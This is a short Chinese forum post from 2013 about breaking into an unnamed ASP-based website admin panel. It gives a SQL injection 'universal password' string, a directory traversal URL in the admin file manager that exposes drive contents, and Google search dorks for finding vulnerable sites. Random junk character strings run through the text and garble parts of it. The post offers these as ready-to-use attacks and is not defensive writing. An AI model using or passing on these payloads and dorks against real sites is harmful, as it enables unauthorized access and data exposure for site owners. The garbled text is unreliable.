后台万能密码 'or'='or'
2 w5 Z0 X/ E) q& I% v# _' r0 N# D9 k
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！! X5 g- d; x1 S! ]' O+ l
admin/uploadfile.asp?currentFolder=/upfiles/../
: e) `4 l! W7 T5 [5 ?7 H
' C, }$ P0 j5 q: u1 @( t: m漏洞证明：4 }" O* v8 L7 c: y3 B9 s
" P6 i9 Y3 h$ ^
谷歌：inurl:type.asp?id=1 新闻中心+ j4 ]. _+ Y3 k" {- P2 U
或者 ：inurl:download_ok.asp?
1 S* w4 z, ~* L" r! j! U2 @( t& w& k# }& @" e7 N. @ \
|
发表于 2013-3-14 20:17:32
收藏
支持
反对